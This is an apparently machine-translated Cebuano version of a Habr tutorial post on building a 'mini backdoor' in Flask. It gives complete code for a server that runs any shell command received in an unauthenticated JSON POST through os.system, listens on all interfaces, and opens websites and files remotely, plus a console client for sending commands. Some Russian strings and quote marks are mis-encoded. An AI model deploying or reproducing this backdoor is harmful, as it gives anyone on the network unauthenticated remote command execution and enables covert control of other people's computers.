Usa ka gamay nga backdoor sa Flask o kung giunsa pagkontrol ang usa ka kompyuter sa usa ka lokal nga network

Hoy Habr!

Bag-o lang ako nagtan-aw sa usa ka na-download nga bersyon sa programming stream "Unsaon paghimo sa imong kaugalingong web application sa Flask." Ug nakahukom ko sa pagkonsolida sa akong kahibalo sa pipila ka proyekto. Sulod sa dugay nga panahon wala ko mahibal-an kung unsa ang isulat ug ang ideya miabut kanako: "Ngano nga dili maghimo og mini-backdoor sa Flask?"

Ang unang mga kapilian alang sa pagpatuman ug mga kapabilidad sa backdoor diha-diha dayon mitungha sa akong ulo. Apan nakahukom ko nga maghimo dayon og lista sa mga kapabilidad sa backdoor:

  1. Kahibalo unsaon pag-abli sa mga website
  2. Adunay pag-access sa command line
  3. Mahimong magbukas sa mga programa, litrato, video

Busa, ang unang punto sayon ​​kaayo nga ipatuman gamit ang webbrowser module. Nakahukom ko nga ipatuman ang ikaduhang punto gamit ang os module. Ug ang ikatulo pinaagi usab sa os module, apan akong gamiton ang "mga link" (dugang pa niana sa ulahi).

Pagsulat sa usa ka server

Busa, *drumroll* ang tanang server code:

from flask import Flask, request
import webbrowser
import os
import re

app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
    json_string = request.json
    if json_string['command'] == 'test':
        return 'The server is running and waiting for commands...'
    if json_string['command'] == 'openweb':
        webbrowser.open(url='https://www.'+json_string['data'], new=0)
        return 'Site opening ' + json_string['data'] + '...'
    if json_string['command'] == 'shell':
        os.system(json_string['data'])
        return 'Command execution ' + json_string['data'] + '...'
    if json_string['command'] == 'link':
        links = open('links.txt', 'r')
        for i in range(int(json_string['data'])):
            link = links.readline()
        os.system(link.split('>')[0])
        return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
    app.run(host='0.0.0.0')

Gilabay na nako ang tanan nga code, panahon na aron ipasabut ang esensya.

Ang tanan nga code nagdagan sa lokal nga kompyuter sa port 5000. Aron makig-uban sa server, kinahanglan nga magpadala kami usa ka hangyo sa JSON POST.

Estruktura sa hangyo sa JSON:

{β€˜command’:  β€˜comecommand’, β€˜data’: β€˜somedata’}

Aw, makatarunganon nga ang 'sugo' mao ang mando nga gusto naton ipatuman. Ug ang 'data' mao ang mga argumento sa command.

Mahimo nimong isulat ug ipadala ang mga hangyo sa JSON aron mano-mano nga makig-uban sa server (makatabang kanimo ang mga hangyo). O mahimo ka magsulat usa ka kliyente sa console.

Pagsulat sa usa ka kliyente

Code:

import requests

logo = ['nn',
        '******      ********',
        '*******     *********',
        '**    **    **     **',
        '**    **    **     **      Written on Python',
        '*******     **     **',
        '********    **     **',
        '**     **   **     **      Author: ROBOTD4',
        '**     **   **     **',
        '**     **   **     **',
        '********    *********',
        '*******     ********',
        'nn']

p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'

def test():
    dict = {'command': 'test', 'data': 0}
    r = requests.post(host, json=dict)
    if r.status_code == 200:
        print (r.content.decode('utf-8'))

def start():
    for i in logo:
        print(i)

start()
test()

while True:
    command = input('>')
    if command == '':
        continue
    a = command.split()
    if command == 'test':
        dict = {'command': 'test', 'data': 0}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
    if a[0] == 'shell':
        for i in range(1, len(a)):
            p = p + a[i] + ' '
        dict = {'command': 'shell', 'data': p}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
        p = ''
    if a[0] == 'link':
        if len(a) > 1:
            dict = {'command': 'link', 'data': int(a[1])}
            r = requests.post(host, json=dict)
            if r.status_code == 200:
                print (r.content.decode('utf-8'))
        else:
            print('Комманда Π½Π΅ содСрТит Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²!')
    if a[0] == 'openweb':
            if len(a) > 1:
                dict = {'command': 'openweb', 'data': a[1]}
                r = requests.post(host, json=dict)
                if r.status_code == 200:
                    print (r.content.decode('utf-8'))
            else:
                print('Комманда Π½Π΅ содСрТит Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²!')
    if a[0] == 'set':
        if a[1] == 'host':
            ip = a[2] + ':5000'
    if command == 'quit':
        break

Mga Katin-awan:

Una sa tanan, ang module sa mga hangyo gi-import (alang sa pagpakig-uban sa server). Sa ubos mao ang mga paghulagway sa pagsugod ug pagsulay nga mga gimbuhaton. Ug dayon ang siklo diin ang salamangka mahitabo. Nabasa ba nimo ang code? Busa nasabtan nimo ang kahulogan sa salamangka nga mahitabo sa siklo. Pagsulod sa sugo - kini gipatuman. Shell – mga sugo alang sa command line (ang lohika dili sukod).

Pagsulay - susiha kung ang server nagdagan (backdoor)
Link - paggamit sa usa ka "shortcut"
Openweb - pagbukas sa usa ka website
Pag-undang - paggawas sa kliyente
Itakda – i-set ang ip sa imong computer sa lokal nga network

Ug karon dugang bahin sa link.

Adunay link.txt file sunod sa server. Naglangkob kini og mga link (bug-os nga agianan) sa mga file (mga video, litrato, mga programa).

Ang istruktura sama niini:

ΠΏΠΎΠ»Π½Ρ‹ΠΉ_ΠΏΡƒΡ‚ΡŒ>описаниС
ΠΏΠΎΠ»Π½Ρ‹ΠΉ_ΠΏΡƒΡ‚ΡŒ>описаниС

Ang resulta

Kami adunay backdoor server alang sa pagkontrol sa usa ka kompyuter sa usa ka lokal nga network (sa sulod sa usa ka wi-fi network). Sa teknikal nga paagi, mahimo namon nga mapadagan ang kliyente gikan sa bisan unsang aparato nga adunay tighubad sa python.

PS Gidugang nako ang set command aron kung ang usa ka computer sa lokal nga network gi-assign sa usa ka lahi nga IP, mahimo kini nga mabag-o direkta sa kliyente.

Source: www.habr.com

Idugang sa usa ka comment